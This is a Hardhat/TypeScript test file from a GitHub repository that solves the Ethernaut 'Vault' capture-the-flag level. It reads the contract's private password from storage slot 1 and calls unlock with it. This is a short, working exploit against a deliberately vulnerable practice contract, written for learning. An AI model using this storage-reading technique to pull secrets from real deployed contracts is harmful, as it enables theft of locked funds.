-
Notifications
You must be signed in to change notification settings - Fork 29
/
Copy path8-vault.ts
34 lines (29 loc) · 1.04 KB
/
8-vault.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import { expect } from "chai";
import { BigNumber, Contract, Signer } from "ethers";
import { ethers } from "hardhat";
import { createChallenge, submitLevel } from "./utils";
let accounts: Signer[];
let eoa: Signer;
let attacker: Contract;
let challenge: Contract; // challenge contract
let tx: any;
before(async () => {
accounts = await ethers.getSigners();
[eoa] = accounts;
const challengeFactory = await ethers.getContractFactory(`Vault`);
const challengeAddress = await createChallenge(
`0xf94b476063B6379A3c8b6C836efB8B3e10eDe188`
);
challenge = await challengeFactory.attach(challengeAddress);
});
it("solves the challenge", async function () {
// can read password from storage
// password is at storage slot 1
const password = await eoa.provider!.getStorageAt(challenge.address, 1)
console.log(`password = ${password} "${Buffer.from(password.slice(2), `hex`)}"`)
tx = await challenge.unlock(password)
await tx.wait();
});
after(async () => {
expect(await submitLevel(challenge.address), "level not solved").to.be.true;
});